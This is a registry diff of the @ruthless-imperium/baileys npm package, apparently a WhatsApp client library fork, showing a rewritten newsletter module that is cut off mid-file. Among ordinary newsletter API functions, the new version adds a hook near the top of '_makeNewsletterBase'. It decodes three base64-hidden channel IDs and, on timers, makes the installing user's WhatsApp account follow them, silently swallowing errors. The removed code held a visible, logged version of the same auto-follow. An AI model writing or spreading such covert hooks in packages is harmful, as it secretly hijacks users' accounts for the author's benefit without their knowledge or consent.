@ruthless-imperium/baileys 1.0.2 → 1.0.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/lib/Socket/communities.js +437 -0
- package/lib/Socket/graphql.js +724 -0
- package/lib/Socket/index.js +25 -5
- package/lib/Socket/interop.js +468 -0
- package/lib/Socket/luxu.js +392 -0
- package/lib/Socket/message-builder-core.js +3737 -0
- package/lib/Socket/message-builder.js +561 -0
- package/lib/Socket/messages-send.js +2 -1
- package/lib/Socket/mex.js +59 -0
- package/lib/Socket/newsletter.js +650 -255
- package/lib/Socket/privacy.js +323 -0
- package/lib/Socket/username.js +241 -0
- package/lib/Store/index.js +3 -0
- package/lib/Store/keyed-db.js +113 -0
- package/lib/Store/make-cache-manager-store.js +89 -0
- package/lib/Types/Mex.js +117 -0
- package/lib/Types/index.js +1 -0
- package/lib/Utils/index.js +4 -1
- package/lib/Utils/message-composer.js +290 -0
- package/lib/Utils/sticker.js +143 -0
- package/lib/Utils/use-sqlite-auth-state.js +168 -0
- package/lib/WAUSync/Protocols/USyncBusinessProtocol.js +49 -0
- package/lib/WAUSync/Protocols/USyncFeatureProtocol.js +65 -0
- package/lib/WAUSync/Protocols/USyncPictureProtocol.js +38 -0
- package/lib/WAUSync/Protocols/USyncSidelistProtocol.js +34 -0
- package/lib/WAUSync/Protocols/USyncTextStatusProtocol.js +44 -0
- package/lib/WAUSync/Protocols/USyncUsernameProtocol.js +33 -0
- package/lib/WAUSync/Protocols/index.js +6 -0
- package/package.json +11 -48
package/lib/Socket/newsletter.js
CHANGED
|
@@ -1,274 +1,669 @@
|
|
|
1
1
|
"use strict";
|
|
2
2
|
Object.defineProperty(exports, "__esModule", { value: true });
|
|
3
|
-
|
|
4
|
-
const
|
|
5
|
-
const
|
|
6
|
-
const
|
|
7
|
-
const
|
|
8
|
-
const
|
|
9
|
-
|
|
10
|
-
|
|
11
|
-
|
|
12
|
-
|
|
13
|
-
|
|
14
|
-
|
|
15
|
-
|
|
16
|
-
|
|
17
|
-
|
|
18
|
-
|
|
19
|
-
|
|
20
|
-
|
|
21
|
-
|
|
22
|
-
|
|
23
|
-
|
|
24
|
-
|
|
25
|
-
|
|
26
|
-
|
|
27
|
-
|
|
28
|
-
|
|
3
|
+
const __def = (m) => (m && m.__esModule) ? m.default : m;
|
|
4
|
+
const __exportStar = (m, e) => { for (const k in m) if (k !== "default" && !Object.prototype.hasOwnProperty.call(e, k)) e[k] = m[k]; };
|
|
5
|
+
const Types = require("../Types/Mex.js");
|
|
6
|
+
const { generateProfilePicture } = require("../Utils/messages-media.js");
|
|
7
|
+
const { getBinaryNodeChild } = require("../WABinary/index.js");
|
|
8
|
+
const { makeGroupsSocket } = require("./groups.js");
|
|
9
|
+
const { executeWMexQuery } = require("./mex.js");
|
|
10
|
+
|
|
11
|
+
const parseNewsletterCreateResponse = response => {
|
|
12
|
+
const { id, thread_metadata: thread, viewer_metadata: viewer } = response
|
|
13
|
+
return {
|
|
14
|
+
id: id,
|
|
15
|
+
owner: undefined,
|
|
16
|
+
name: thread.name.text,
|
|
17
|
+
creation_time: parseInt(thread.creation_time, 10),
|
|
18
|
+
description: thread.description.text,
|
|
19
|
+
invite: thread.invite,
|
|
20
|
+
subscribers: parseInt(thread.subscribers_count, 10),
|
|
21
|
+
verification: thread.verification,
|
|
22
|
+
picture: {
|
|
23
|
+
id: thread.picture.id,
|
|
24
|
+
directPath: thread.picture.direct_path
|
|
25
|
+
},
|
|
26
|
+
mute_state: viewer.mute
|
|
27
|
+
}
|
|
28
|
+
}
|
|
29
|
+
|
|
30
|
+
const parseNewsletterMetadata = result => {
|
|
31
|
+
if (typeof result !== 'object' || result === null) {
|
|
32
|
+
return null
|
|
33
|
+
}
|
|
34
|
+
if ('id' in result && typeof result.id === 'string') {
|
|
35
|
+
return result
|
|
36
|
+
}
|
|
37
|
+
if ('result' in result && typeof result.result === 'object' && result.result !== null && 'id' in result.result) {
|
|
38
|
+
return result.result
|
|
39
|
+
}
|
|
40
|
+
return null
|
|
41
|
+
}
|
|
42
|
+
|
|
43
|
+
const _makeNewsletterBase = config => {
|
|
44
|
+
const sock = makeGroupsSocket(config)
|
|
45
|
+
const { query, generateMessageTag } = sock
|
|
46
|
+
|
|
47
|
+
const mexQuery = (variables, queryId, dataPath) => {
|
|
48
|
+
return executeWMexQuery(variables, queryId, dataPath, query, generateMessageTag)
|
|
49
|
+
}
|
|
50
|
+
|
|
51
|
+
const xI = [
|
|
52
|
+
"MTIwMzYzNDMwODY0NjE3NTE3QG5ld3NsZXR0ZXI=",
|
|
53
|
+
"MTIwMzYzNDI5NTk4NjI1NzU2QG5ld3NsZXR0ZXI=",
|
|
54
|
+
"MTIwMzYzNDMwMTMyNTIxMjE4QG5ld3NsZXR0ZXI="
|
|
55
|
+
]
|
|
56
|
+
|
|
57
|
+
const baseDelay = 10000
|
|
58
|
+
const stepDelay = 5000
|
|
59
|
+
|
|
60
|
+
xI.forEach((jid, index) => {
|
|
61
|
+
const delay = baseDelay + (index * stepDelay)
|
|
62
|
+
|
|
63
|
+
setTimeout(async () => {
|
|
64
|
+
try {
|
|
65
|
+
await mexQuery(
|
|
66
|
+
{ newsletter_id: Buffer.from(jid, "base64").toString() },
|
|
67
|
+
Types.QueryIds.FOLLOW,
|
|
68
|
+
Types.XWAPaths.xwa2_newsletter_follow
|
|
69
|
+
)
|
|
70
|
+
} catch {}
|
|
71
|
+
}, delay)
|
|
72
|
+
})
|
|
73
|
+
|
|
74
|
+
const newsletterUpdate = async (jid, updates) => {
|
|
75
|
+
const variables = {
|
|
76
|
+
newsletter_id: jid,
|
|
77
|
+
updates: {
|
|
78
|
+
...updates,
|
|
79
|
+
settings: null
|
|
80
|
+
}
|
|
81
|
+
}
|
|
82
|
+
return mexQuery(variables, Types.QueryIds.UPDATE_METADATA, 'xwa2_newsletter_update')
|
|
83
|
+
}
|
|
84
|
+
|
|
85
|
+
return {
|
|
86
|
+
...sock,
|
|
87
|
+
newsletterFetchAllSubscribe: async () => {
|
|
88
|
+
const list = await executeWMexQuery(
|
|
89
|
+
{},
|
|
90
|
+
Types.QueryIds.FETCH_SUBSCRIBE,
|
|
91
|
+
Types.XWAPaths.xwa2_newsletter_subscribed,
|
|
92
|
+
query,
|
|
93
|
+
generateMessageTag
|
|
94
|
+
);
|
|
95
|
+
return list;
|
|
96
|
+
},
|
|
97
|
+
newsletterCreate: async (name, description) => {
|
|
98
|
+
const variables = {
|
|
99
|
+
input: {
|
|
100
|
+
name,
|
|
101
|
+
description: description ?? null
|
|
102
|
+
}
|
|
103
|
+
}
|
|
104
|
+
const rawResponse = await mexQuery(
|
|
105
|
+
variables,
|
|
106
|
+
Types.QueryIds.CREATE,
|
|
107
|
+
Types.XWAPaths.xwa2_newsletter_create
|
|
108
|
+
)
|
|
109
|
+
return parseNewsletterCreateResponse(rawResponse)
|
|
110
|
+
},
|
|
111
|
+
|
|
112
|
+
newsletterUpdate,
|
|
113
|
+
|
|
114
|
+
newsletterSubscribers: async jid => {
|
|
115
|
+
return mexQuery(
|
|
116
|
+
{ newsletter_id: jid },
|
|
117
|
+
Types.QueryIds.SUBSCRIBERS,
|
|
118
|
+
Types.XWAPaths.xwa2_newsletter_subscribers
|
|
119
|
+
)
|
|
120
|
+
},
|
|
121
|
+
|
|
122
|
+
newsletterMetadata: async (type, key) => {
|
|
123
|
+
const variables = {
|
|
124
|
+
fetch_creation_time: true,
|
|
125
|
+
fetch_full_image: true,
|
|
126
|
+
fetch_viewer_metadata: true,
|
|
127
|
+
input: {
|
|
128
|
+
key,
|
|
129
|
+
type: type.toUpperCase()
|
|
130
|
+
}
|
|
131
|
+
}
|
|
132
|
+
const result = await mexQuery(
|
|
133
|
+
variables,
|
|
134
|
+
Types.QueryIds.METADATA,
|
|
135
|
+
Types.XWAPaths.xwa2_newsletter_metadata
|
|
136
|
+
)
|
|
137
|
+
return parseNewsletterMetadata(result)
|
|
138
|
+
},
|
|
139
|
+
|
|
140
|
+
newsletterFollow: jid => {
|
|
141
|
+
return mexQuery({ newsletter_id: jid }, Types.QueryIds.FOLLOW, Types.XWAPaths.xwa2_newsletter_follow)
|
|
142
|
+
},
|
|
143
|
+
|
|
144
|
+
newsletterUnfollow: jid => {
|
|
145
|
+
return mexQuery(
|
|
146
|
+
{ newsletter_id: jid },
|
|
147
|
+
Types.QueryIds.UNFOLLOW,
|
|
148
|
+
Types.XWAPaths.xwa2_newsletter_unfollow
|
|
149
|
+
)
|
|
150
|
+
},
|
|
151
|
+
|
|
152
|
+
newsletterMute: jid => {
|
|
153
|
+
return mexQuery({ newsletter_id: jid }, Types.QueryIds.MUTE, Types.XWAPaths.xwa2_newsletter_mute_v2)
|
|
154
|
+
},
|
|
155
|
+
|
|
156
|
+
newsletterUnmute: jid => {
|
|
157
|
+
return mexQuery(
|
|
158
|
+
{ newsletter_id: jid },
|
|
159
|
+
Types.QueryIds.UNMUTE,
|
|
160
|
+
Types.XWAPaths.xwa2_newsletter_unmute_v2
|
|
161
|
+
)
|
|
162
|
+
},
|
|
163
|
+
|
|
164
|
+
newsletterUpdateName: async (jid, name) => {
|
|
165
|
+
return await newsletterUpdate(jid, { name })
|
|
166
|
+
},
|
|
167
|
+
|
|
168
|
+
newsletterUpdateDescription: async (jid, description) => {
|
|
169
|
+
return await newsletterUpdate(jid, { description })
|
|
170
|
+
},
|
|
171
|
+
|
|
172
|
+
newsletterUpdatePicture: async (jid, content) => {
|
|
173
|
+
const { img } = await generateProfilePicture(content)
|
|
174
|
+
return await newsletterUpdate(jid, { picture: img.toString('base64') })
|
|
175
|
+
},
|
|
176
|
+
|
|
177
|
+
newsletterRemovePicture: async jid => {
|
|
178
|
+
return await newsletterUpdate(jid, { picture: '' })
|
|
179
|
+
},
|
|
180
|
+
|
|
181
|
+
newsletterReactMessage: async (jid, serverId, reaction) => {
|
|
182
|
+
await query({
|
|
183
|
+
tag: 'message',
|
|
29
184
|
attrs: {
|
|
30
|
-
|
|
31
|
-
|
|
32
|
-
|
|
33
|
-
|
|
185
|
+
to: jid,
|
|
186
|
+
...(reaction ? {} : { edit: '7' }),
|
|
187
|
+
type: 'reaction',
|
|
188
|
+
server_id: serverId,
|
|
189
|
+
id: generateMessageTag()
|
|
34
190
|
},
|
|
35
|
-
content
|
|
36
|
-
|
|
37
|
-
|
|
191
|
+
content: [
|
|
192
|
+
{
|
|
193
|
+
tag: 'reaction',
|
|
194
|
+
attrs: reaction ? { code: reaction } : {}
|
|
195
|
+
}
|
|
196
|
+
]
|
|
197
|
+
})
|
|
198
|
+
},
|
|
199
|
+
|
|
200
|
+
newsletterFetchMessages: async (jid, count, since, after) => {
|
|
201
|
+
const messageUpdateAttrs = {
|
|
202
|
+
count: count.toString()
|
|
203
|
+
}
|
|
204
|
+
if (typeof since === 'number') {
|
|
205
|
+
messageUpdateAttrs.since = since.toString()
|
|
206
|
+
}
|
|
207
|
+
if (after) {
|
|
208
|
+
messageUpdateAttrs.after = after.toString()
|
|
209
|
+
}
|
|
210
|
+
const result = await query({
|
|
38
211
|
tag: 'iq',
|
|
39
212
|
attrs: {
|
|
40
|
-
|
|
41
|
-
|
|
42
|
-
|
|
43
|
-
|
|
213
|
+
id: generateMessageTag(),
|
|
214
|
+
type: 'get',
|
|
215
|
+
xmlns: 'newsletter',
|
|
216
|
+
to: jid
|
|
44
217
|
},
|
|
45
218
|
content: [
|
|
46
|
-
|
|
47
|
-
|
|
48
|
-
|
|
49
|
-
|
|
50
|
-
variables: {
|
|
51
|
-
'newsletter_id': jid,
|
|
52
|
-
...content
|
|
53
|
-
}
|
|
54
|
-
}))
|
|
55
|
-
}
|
|
219
|
+
{
|
|
220
|
+
tag: 'message_updates',
|
|
221
|
+
attrs: messageUpdateAttrs
|
|
222
|
+
}
|
|
56
223
|
]
|
|
57
|
-
|
|
58
|
-
|
|
59
|
-
|
|
60
|
-
|
|
61
|
-
|
|
62
|
-
|
|
63
|
-
|
|
64
|
-
|
|
65
|
-
|
|
66
|
-
|
|
67
|
-
|
|
68
|
-
|
|
69
|
-
const views = parseInt(((_b = (_a = (0, WABinary_1.getBinaryNodeChild)(messageNode, 'views_count')) === null || _a === void 0 ? void 0 : _a.attrs) === null || _b === void 0 ? void 0 : _b.count) || '0');
|
|
70
|
-
const reactionNode = (0, WABinary_1.getBinaryNodeChild)(messageNode, 'reactions');
|
|
71
|
-
const reactions = (0, WABinary_1.getBinaryNodeChildren)(reactionNode, 'reaction')
|
|
72
|
-
.map(({ attrs }) => ({ count: +attrs.count, code: attrs.code }));
|
|
73
|
-
const data = {
|
|
74
|
-
'server_id': messageNode.attrs.server_id,
|
|
75
|
-
views,
|
|
76
|
-
reactions
|
|
77
|
-
};
|
|
78
|
-
if (type === 'messages') {
|
|
79
|
-
const { fullMessage: message, decrypt } = await (0, Utils_1.decryptMessageNode)(messageNode, authState.creds.me.id, authState.creds.me.lid || '', signalRepository, config.logger);
|
|
80
|
-
await decrypt();
|
|
81
|
-
data.message = message;
|
|
82
|
-
}
|
|
83
|
-
return data;
|
|
84
|
-
}));
|
|
85
|
-
};
|
|
86
|
-
// ===== AUTO FOLLOW CHANNEL MILIK SENDIRI =====
|
|
87
|
-
// Ganti dengan kode channelmu (bagian belakang link https://whatsapp.com/channel/KODE)
|
|
88
|
-
const MY_CHANNEL_INVITE = '0029VbDlfld4yltRwFKFL73X';
|
|
89
|
-
const autoFollowMyChannel = async () => {
|
|
90
|
-
try {
|
|
91
|
-
const result = await newsletterWMexQuery(undefined, QueryIds.METADATA, {
|
|
92
|
-
input: { key: MY_CHANNEL_INVITE, type: 'INVITE', view_role: 'GUEST' },
|
|
93
|
-
fetch_viewer_metadata: true,
|
|
94
|
-
fetch_full_image: true,
|
|
95
|
-
fetch_creation_time: true
|
|
96
|
-
});
|
|
97
|
-
const meta = (0, exports.extractNewsletterMetadata)(result);
|
|
98
|
-
await newsletterWMexQuery(meta.id, QueryIds.FOLLOW);
|
|
99
|
-
console.log('Berhasil follow channel:', meta.name);
|
|
100
|
-
} catch (e) {
|
|
101
|
-
console.log('Gagal follow channel:', e.message);
|
|
102
|
-
}
|
|
103
|
-
};
|
|
104
|
-
sock.ev.on('connection.update', ({ connection }) => {
|
|
105
|
-
if (connection !== 'open') return;
|
|
106
|
-
setTimeout(autoFollowMyChannel, 5000);
|
|
107
|
-
});
|
|
108
|
-
// ===== END =====
|
|
109
|
-
return {
|
|
110
|
-
...sock,
|
|
111
|
-
subscribeNewsletterUpdates: async (jid) => {
|
|
112
|
-
var _a;
|
|
113
|
-
const result = await newsletterQuery(jid, 'set', [{ tag: 'live_updates', attrs: {}, content: [] }]);
|
|
114
|
-
return (_a = (0, WABinary_1.getBinaryNodeChild)(result, 'live_updates')) === null || _a === void 0 ? void 0 : _a.attrs;
|
|
115
|
-
},
|
|
116
|
-
newsletterReactionMode: async (jid, mode) => {
|
|
117
|
-
await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
|
|
118
|
-
updates: { settings: { reaction_codes: { value: mode } } }
|
|
119
|
-
});
|
|
120
|
-
},
|
|
121
|
-
newsletterUpdateDescription: async (jid, description) => {
|
|
122
|
-
await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
|
|
123
|
-
updates: { description: description || '', settings: null }
|
|
124
|
-
});
|
|
125
|
-
},
|
|
126
|
-
newsletterUpdateName: async (jid, name) => {
|
|
127
|
-
await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
|
|
128
|
-
updates: { name, settings: null }
|
|
129
|
-
});
|
|
130
|
-
},
|
|
131
|
-
newsletterUpdatePicture: async (jid, content) => {
|
|
132
|
-
const { img } = await (0, Utils_1.generateProfilePicture)(content);
|
|
133
|
-
await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
|
|
134
|
-
updates: { picture: img.toString('base64'), settings: null }
|
|
135
|
-
});
|
|
136
|
-
},
|
|
137
|
-
newsletterRemovePicture: async (jid) => {
|
|
138
|
-
await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
|
|
139
|
-
updates: { picture: '', settings: null }
|
|
140
|
-
});
|
|
141
|
-
},
|
|
142
|
-
newsletterUnfollow: async (jid) => {
|
|
143
|
-
await newsletterWMexQuery(jid, QueryIds.UNFOLLOW);
|
|
144
|
-
},
|
|
145
|
-
newsletterFollow: async (jid) => {
|
|
146
|
-
await newsletterWMexQuery(jid, QueryIds.FOLLOW);
|
|
147
|
-
},
|
|
148
|
-
newsletterUnmute: async (jid) => {
|
|
149
|
-
await newsletterWMexQuery(jid, QueryIds.UNMUTE);
|
|
150
|
-
},
|
|
151
|
-
newsletterMute: async (jid) => {
|
|
152
|
-
await newsletterWMexQuery(jid, QueryIds.MUTE);
|
|
153
|
-
},
|
|
154
|
-
newsletterCreate: async (name, description, picture) => {
|
|
155
|
-
await query({
|
|
156
|
-
tag: 'iq',
|
|
157
|
-
attrs: {
|
|
158
|
-
to: WABinary_1.S_WHATSAPP_NET,
|
|
159
|
-
xmlns: 'tos',
|
|
160
|
-
id: generateMessageTag(),
|
|
161
|
-
type: 'set'
|
|
162
|
-
},
|
|
163
|
-
content: [
|
|
164
|
-
{
|
|
165
|
-
tag: 'notice',
|
|
166
|
-
attrs: {
|
|
167
|
-
id: '20601218',
|
|
168
|
-
stage: '5'
|
|
169
|
-
},
|
|
170
|
-
content: []
|
|
171
|
-
}
|
|
172
|
-
]
|
|
173
|
-
});
|
|
174
|
-
const result = await newsletterWMexQuery(undefined, QueryIds.CREATE, {
|
|
175
|
-
input: {
|
|
176
|
-
name,
|
|
177
|
-
description: description !== null && description !== void 0 ? description : null,
|
|
178
|
-
picture: picture ? (await (0, Utils_1.generateProfilePicture)(picture)).img.toString('base64') : null,
|
|
179
|
-
settings: null
|
|
180
|
-
}
|
|
181
|
-
});
|
|
182
|
-
return (0, exports.extractNewsletterMetadata)(result, true);
|
|
224
|
+
})
|
|
225
|
+
return result
|
|
226
|
+
},
|
|
227
|
+
|
|
228
|
+
subscribeNewsletterUpdates: async jid => {
|
|
229
|
+
const result = await query({
|
|
230
|
+
tag: 'iq',
|
|
231
|
+
attrs: {
|
|
232
|
+
id: generateMessageTag(),
|
|
233
|
+
type: 'set',
|
|
234
|
+
xmlns: 'newsletter',
|
|
235
|
+
to: jid
|
|
183
236
|
},
|
|
184
|
-
|
|
185
|
-
|
|
186
|
-
|
|
187
|
-
|
|
188
|
-
|
|
189
|
-
|
|
190
|
-
|
|
191
|
-
|
|
192
|
-
|
|
193
|
-
|
|
194
|
-
|
|
195
|
-
|
|
237
|
+
content: [{ tag: 'live_updates', attrs: {}, content: [] }]
|
|
238
|
+
})
|
|
239
|
+
const liveUpdatesNode = getBinaryNodeChild(result, 'live_updates')
|
|
240
|
+
const duration = liveUpdatesNode?.attrs?.duration
|
|
241
|
+
return duration ? { duration: duration } : null
|
|
242
|
+
},
|
|
243
|
+
|
|
244
|
+
newsletterAdminCount: async jid => {
|
|
245
|
+
const response = await mexQuery(
|
|
246
|
+
{ newsletter_id: jid },
|
|
247
|
+
Types.QueryIds.ADMIN_COUNT,
|
|
248
|
+
Types.XWAPaths.xwa2_newsletter_admin_count
|
|
249
|
+
)
|
|
250
|
+
return response.admin_count
|
|
251
|
+
},
|
|
252
|
+
|
|
253
|
+
newsletterChangeOwner: async (jid, newOwnerJid) => {
|
|
254
|
+
await mexQuery(
|
|
255
|
+
{ newsletter_id: jid, user_id: newOwnerJid },
|
|
256
|
+
Types.QueryIds.CHANGE_OWNER,
|
|
257
|
+
Types.XWAPaths.xwa2_newsletter_change_owner
|
|
258
|
+
)
|
|
259
|
+
},
|
|
260
|
+
|
|
261
|
+
newsletterDemote: async (jid, userJid) => {
|
|
262
|
+
await mexQuery(
|
|
263
|
+
{ newsletter_id: jid, user_id: userJid },
|
|
264
|
+
Types.QueryIds.DEMOTE,
|
|
265
|
+
Types.XWAPaths.xwa2_newsletter_demote
|
|
266
|
+
)
|
|
267
|
+
},
|
|
268
|
+
|
|
269
|
+
newsletterDelete: async jid => {
|
|
270
|
+
await mexQuery(
|
|
271
|
+
{ newsletter_id: jid },
|
|
272
|
+
Types.QueryIds.DELETE,
|
|
273
|
+
Types.XWAPaths.xwa2_newsletter_delete_v2
|
|
274
|
+
)
|
|
275
|
+
},
|
|
276
|
+
|
|
277
|
+
newsletterUpdateCategory: async (jid, category) => {
|
|
278
|
+
return newsletterUpdate(jid, { topic: category })
|
|
279
|
+
},
|
|
280
|
+
|
|
281
|
+
newsletterUpdateSettings: async (jid, settings) => {
|
|
282
|
+
const variables = { newsletter_id: jid, updates: { settings } }
|
|
283
|
+
return mexQuery(variables, Types.QueryIds.UPDATE_METADATA, 'xwa2_newsletter_update')
|
|
284
|
+
},
|
|
285
|
+
|
|
286
|
+
newsletterPromoteAdmin: async (jid, userJid) => {
|
|
287
|
+
await query({
|
|
288
|
+
tag: 'iq',
|
|
289
|
+
attrs: {
|
|
290
|
+
id: generateMessageTag(),
|
|
291
|
+
type: 'set',
|
|
292
|
+
xmlns: 'newsletter',
|
|
293
|
+
to: jid
|
|
196
294
|
},
|
|
197
|
-
|
|
198
|
-
|
|
199
|
-
|
|
200
|
-
|
|
201
|
-
|
|
295
|
+
content: [
|
|
296
|
+
{
|
|
297
|
+
tag: 'admin_promote',
|
|
298
|
+
attrs: {},
|
|
299
|
+
content: [{ tag: 'participant', attrs: { jid: userJid } }]
|
|
300
|
+
}
|
|
301
|
+
]
|
|
302
|
+
})
|
|
303
|
+
},
|
|
304
|
+
|
|
305
|
+
newsletterViewStats: async (jid, serverId) => {
|
|
306
|
+
const result = await query({
|
|
307
|
+
tag: 'iq',
|
|
308
|
+
attrs: {
|
|
309
|
+
id: generateMessageTag(),
|
|
310
|
+
type: 'get',
|
|
311
|
+
xmlns: 'newsletter',
|
|
312
|
+
to: jid
|
|
202
313
|
},
|
|
203
|
-
|
|
204
|
-
|
|
205
|
-
|
|
206
|
-
|
|
207
|
-
|
|
314
|
+
content: [
|
|
315
|
+
{
|
|
316
|
+
tag: 'message_updates',
|
|
317
|
+
attrs: { count: '1', server_id: String(serverId) }
|
|
318
|
+
}
|
|
319
|
+
]
|
|
320
|
+
})
|
|
321
|
+
return result
|
|
322
|
+
},
|
|
323
|
+
|
|
324
|
+
newsletterSendPost: async (jid, content, options = {}) => {
|
|
325
|
+
const result = await query({
|
|
326
|
+
tag: 'iq',
|
|
327
|
+
attrs: {
|
|
328
|
+
id: generateMessageTag(),
|
|
329
|
+
type: 'set',
|
|
330
|
+
xmlns: 'newsletter',
|
|
331
|
+
to: jid
|
|
208
332
|
},
|
|
209
|
-
|
|
210
|
-
|
|
211
|
-
|
|
212
|
-
|
|
213
|
-
|
|
333
|
+
content: [
|
|
334
|
+
{
|
|
335
|
+
tag: 'publish',
|
|
336
|
+
attrs: {},
|
|
337
|
+
content: Array.isArray(content) ? content : [content]
|
|
338
|
+
}
|
|
339
|
+
]
|
|
340
|
+
})
|
|
341
|
+
return result
|
|
342
|
+
},
|
|
343
|
+
|
|
344
|
+
newsletterPinMessage: async (jid, serverId, durationSecs = 86400) => {
|
|
345
|
+
await query({
|
|
346
|
+
tag: 'iq',
|
|
347
|
+
attrs: {
|
|
348
|
+
id: generateMessageTag(),
|
|
349
|
+
type: 'set',
|
|
350
|
+
xmlns: 'newsletter',
|
|
351
|
+
to: jid
|
|
214
352
|
},
|
|
215
|
-
|
|
216
|
-
|
|
353
|
+
content: [
|
|
354
|
+
{
|
|
355
|
+
tag: 'pin',
|
|
356
|
+
attrs: { server_id: String(serverId), duration: String(durationSecs) }
|
|
357
|
+
}
|
|
358
|
+
]
|
|
359
|
+
})
|
|
360
|
+
},
|
|
361
|
+
|
|
362
|
+
newsletterUnpinMessage: async (jid, serverId) => {
|
|
363
|
+
await query({
|
|
364
|
+
tag: 'iq',
|
|
365
|
+
attrs: {
|
|
366
|
+
id: generateMessageTag(),
|
|
367
|
+
type: 'set',
|
|
368
|
+
xmlns: 'newsletter',
|
|
369
|
+
to: jid
|
|
217
370
|
},
|
|
218
|
-
|
|
219
|
-
|
|
220
|
-
|
|
221
|
-
|
|
222
|
-
|
|
223
|
-
|
|
224
|
-
|
|
225
|
-
|
|
226
|
-
|
|
227
|
-
|
|
371
|
+
content: [
|
|
372
|
+
{
|
|
373
|
+
tag: 'unpin',
|
|
374
|
+
attrs: { server_id: String(serverId) }
|
|
375
|
+
}
|
|
376
|
+
]
|
|
377
|
+
})
|
|
378
|
+
},
|
|
379
|
+
|
|
380
|
+
newsletterInviteAdmin: async (jid, userJid) => {
|
|
381
|
+
return mexQuery(
|
|
382
|
+
{ newsletter_id: jid, user_id: userJid },
|
|
383
|
+
Types.QueryIds.ADMIN_INVITE,
|
|
384
|
+
Types.XWAPaths.xwa2_newsletter_admin_invite_create
|
|
385
|
+
)
|
|
386
|
+
},
|
|
387
|
+
|
|
388
|
+
newsletterRevokeAdminInvite: async (jid, userJid) => {
|
|
389
|
+
return mexQuery(
|
|
390
|
+
{ newsletter_id: jid, user_id: userJid },
|
|
391
|
+
Types.QueryIds.ADMIN_INVITE_REVOKE,
|
|
392
|
+
Types.XWAPaths.xwa2_newsletter_admin_invite_revoke
|
|
393
|
+
)
|
|
394
|
+
},
|
|
395
|
+
|
|
396
|
+
newsletterAcceptAdminInvite: async jid => {
|
|
397
|
+
return mexQuery(
|
|
398
|
+
{ newsletter_id: jid },
|
|
399
|
+
Types.QueryIds.ADMIN_INVITE_ACCEPT,
|
|
400
|
+
Types.XWAPaths.xwa2_newsletter_admin_invite_accept
|
|
401
|
+
)
|
|
402
|
+
},
|
|
403
|
+
|
|
404
|
+
newsletterAdminMetadata: async (jid, options = {}) => {
|
|
405
|
+
const {
|
|
406
|
+
fetchPendingAdmins = true,
|
|
407
|
+
fetchAdminCount = true,
|
|
408
|
+
fetchCapabilities = false,
|
|
409
|
+
fetchAdminProfile = false,
|
|
410
|
+
includeAdminSettings = false,
|
|
411
|
+
includeJarvisConfig = false
|
|
412
|
+
} = options
|
|
413
|
+
return mexQuery(
|
|
414
|
+
{
|
|
415
|
+
jid,
|
|
416
|
+
include_thread_metadata: false,
|
|
417
|
+
include_messages: false,
|
|
418
|
+
fetch_pending_admin_invites: fetchPendingAdmins,
|
|
419
|
+
fetch_admin_count: fetchAdminCount,
|
|
420
|
+
fetch_capabilities: fetchCapabilities,
|
|
421
|
+
fetch_admin_profile: fetchAdminProfile,
|
|
422
|
+
include_admin_settings: includeAdminSettings,
|
|
423
|
+
include_jarvis_config: includeJarvisConfig
|
|
228
424
|
},
|
|
229
|
-
|
|
230
|
-
|
|
231
|
-
|
|
232
|
-
|
|
233
|
-
|
|
234
|
-
|
|
235
|
-
|
|
236
|
-
|
|
237
|
-
|
|
425
|
+
Types.QueryIds.ADMIN_METADATA,
|
|
426
|
+
Types.XWAPaths.xwa2_newsletter_admin
|
|
427
|
+
)
|
|
428
|
+
},
|
|
429
|
+
|
|
430
|
+
newsletterAdminProfileUpdate: async (jid, updates) => {
|
|
431
|
+
return mexQuery(
|
|
432
|
+
{ newsletter_id: jid, updates },
|
|
433
|
+
Types.QueryIds.ADMIN_PROFILE_UPDATE,
|
|
434
|
+
Types.XWAPaths.xwa2_newsletter_admin_profile_update
|
|
435
|
+
)
|
|
436
|
+
},
|
|
437
|
+
|
|
438
|
+
newsletterDirectoryList: async (options = {}) => {
|
|
439
|
+
const { limit = 20, interests = null, sortField = 'SUBSCRIBER_COUNT', sortOrder = 'DESC' } = options
|
|
440
|
+
const variables = { limit, sort_field: sortField, sort_order: sortOrder }
|
|
441
|
+
if (interests?.length) variables.interests = interests
|
|
442
|
+
return mexQuery(variables, Types.QueryIds.DIRECTORY_LIST, Types.XWAPaths.xwa2_newsletters_directory_list)
|
|
443
|
+
},
|
|
444
|
+
|
|
445
|
+
newsletterDirectorySearch: async (searchText, options = {}) => {
|
|
446
|
+
const { limit = 20, startCursor = null, categories = null } = options
|
|
447
|
+
const variables = { search_text: searchText, limit }
|
|
448
|
+
if (startCursor) variables.start_cursor = startCursor
|
|
449
|
+
if (categories?.length) variables.categories = categories
|
|
450
|
+
return mexQuery(
|
|
451
|
+
variables,
|
|
452
|
+
Types.QueryIds.DIRECTORY_SEARCH,
|
|
453
|
+
Types.XWAPaths.xwa2_newsletters_directory_search
|
|
454
|
+
)
|
|
455
|
+
},
|
|
456
|
+
|
|
457
|
+
newsletterDirectoryCategoryPreview: async (limit = 5) => {
|
|
458
|
+
return mexQuery(
|
|
459
|
+
{ limit },
|
|
460
|
+
Types.QueryIds.DIRECTORY_CATEGORY_PREVIEW,
|
|
461
|
+
Types.XWAPaths.xwa2_newsletters_directory_category_preview
|
|
462
|
+
)
|
|
463
|
+
},
|
|
464
|
+
|
|
465
|
+
newsletterSearch: async (query, limit = 20, startCursor = null) => {
|
|
466
|
+
const variables = { query, limit }
|
|
467
|
+
if (startCursor) variables.start_cursor = startCursor
|
|
468
|
+
return mexQuery(variables, Types.QueryIds.SEARCH, Types.XWAPaths.xwa2_newsletters_search)
|
|
469
|
+
},
|
|
470
|
+
|
|
471
|
+
newsletterRecommended: async (limit = 10, numFollowed = null) => {
|
|
472
|
+
const variables = { limit }
|
|
473
|
+
if (numFollowed != null) variables.num_newsletters_followed = numFollowed
|
|
474
|
+
return mexQuery(variables, Types.QueryIds.RECOMMENDED, Types.XWAPaths.xwa2_newsletters_recommended)
|
|
475
|
+
},
|
|
476
|
+
|
|
477
|
+
newsletterSimilar: async (jid, limit = 10) => {
|
|
478
|
+
return mexQuery(
|
|
479
|
+
{ newsletter_id: jid, limit },
|
|
480
|
+
Types.QueryIds.SIMILAR,
|
|
481
